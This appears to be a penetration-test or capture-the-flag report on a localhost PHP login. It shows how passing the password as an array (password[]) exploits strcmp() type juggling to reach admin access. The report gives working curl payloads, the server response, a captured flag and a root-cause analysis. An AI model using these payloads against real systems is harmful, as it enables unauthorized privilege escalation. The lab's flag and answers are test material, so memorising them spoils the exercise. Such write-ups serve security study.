# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-01: Vertical Privilege Escalation via PHP Type Juggling

**Summary:**
- **Vulnerable location:** `GET /index.php` authentication guard at line 71
- **Overview:** Successfully exploited PHP type juggling vulnerability in `strcmp()` function combined with undefined password variable to bypass admin role enforcement and escalate privileges from anonymous user to administrator
- **Impact:** Complete vertical privilege escalation enabling unauthorized access to protected flag resource. Anonymous users can gain full administrative privileges in a single HTTP request with no prerequisites.
- **Severity:** CRITICAL

**Prerequisites:**
None - This vulnerability is exploitable by any anonymous user with network access to http://localhost:36613. No prior authentication, session establishment, or special access is required.

**Exploitation Steps:**

1. **Send HTTP GET request with array-type password parameter to bypass authentication:**
   ```bash
   curl -v 'http://localhost:36613/index.php?username=admin&password[]=bypass'
   ```
   
   **Technical Details:**
   - The `password[]` parameter creates an array instead of a string in PHP's `$_GET` superglobal
   - When this array reaches the `strcmp()` function at line 71, it causes type confusion
   - `strcmp(array, NULL)` returns NULL and emits warning: "strcmp() expects parameter 1 to be string, array given"
   - The loose comparison `NULL == 0` evaluates to TRUE in PHP 5.6
   - Both username and password checks pass, bypassing the authorization guard

2. **Observe successful privilege escalation in HTTP response:**
   ```
   HTTP/1.1 200 OK
   Server: Apache/2.4.25 (Debian)
   X-Powered-By: PHP/5.6.40
   ```
   
   **Response Body:**
   ```html
   <b>Warning</b>: strcmp() expects parameter 1 to be string, array given in <b>/var/www/html/index.php</b> on line <b>71</b><br />
   <center><h2>Welcome Admin</h2></center>
   <center><h3>Congratulations, here is the flag: FLAG{3c8d37d2b7349c6124d67400ab817bed508eb3a155f2a0a1699732b1c120d86e}</h3></center>
   ```

**Proof of Impact:**

**Flag Captured:** `FLAG{3c8d37d2b7349c6124d67400ab817bed508eb3a155f2a0a1699732b1c120d86e}`

**Evidence of Authorization Bypass:**
- Successfully displayed "Welcome Admin" message (line 72 of index.php - only accessible after passing authorization guard)
- Accessed protected flag resource (line 73 of index.php - privileged resource)
- Achieved complete vertical privilege escalation from anonymous to admin role
- No valid credentials provided - password was array instead of correct admin password

**Alternative Exploitation Payloads (All Verified Successful):**

```bash
# Empty array payload
curl 'http://localhost:36613/index.php?username=admin&password[]='

# Multi-element array payload (URL-encoded)
curl 'http://localhost:36613/index.php?username=admin&password%5B0%5D=a&password%5B1%5D=b'

# Associative array payload (URL-encoded)
curl 'http://localhost:36613/index.php?username=admin&password%5Bkey%5D=value'
```

All payloads successfully bypassed authentication and disclosed the flag, confirming the vulnerability is not dependent on specific array values but on the array data type itself.

**Notes:**

**Root Cause Chain:**
1. Variable `$password` referenced at line 71 but never defined anywhere in codebase (evaluates to NULL in PHP 5)
2. No type validation on `$_GET['password']` parameter allows array injection
3. `strcmp(array, NULL)` returns NULL instead of performing string comparison
4. Loose comparison `NULL == 0` (instead of strict `=== 0`) enables type juggling exploitation
5. Authorization guard bypassed, granting admin privileges

**Vulnerability Classification:**
- **CWE-639:** Authorization Bypass Through User-Controlled Key
- **CWE-843:** Access of Resource Using Incompatible Type (Type Confusion)
- **OWASP Top 10 2021:** A01:2021 – Broken Access Control

**Exploitation Difficulty:** Trivial - Single HTTP request with no rate limiting, account lockout, or monitoring

**Detection Evasion:** The application has no logging of authentication attempts, no intrusion detection, and no alerting mechanisms. The PHP warning is visible in response but does not prevent exploitation.
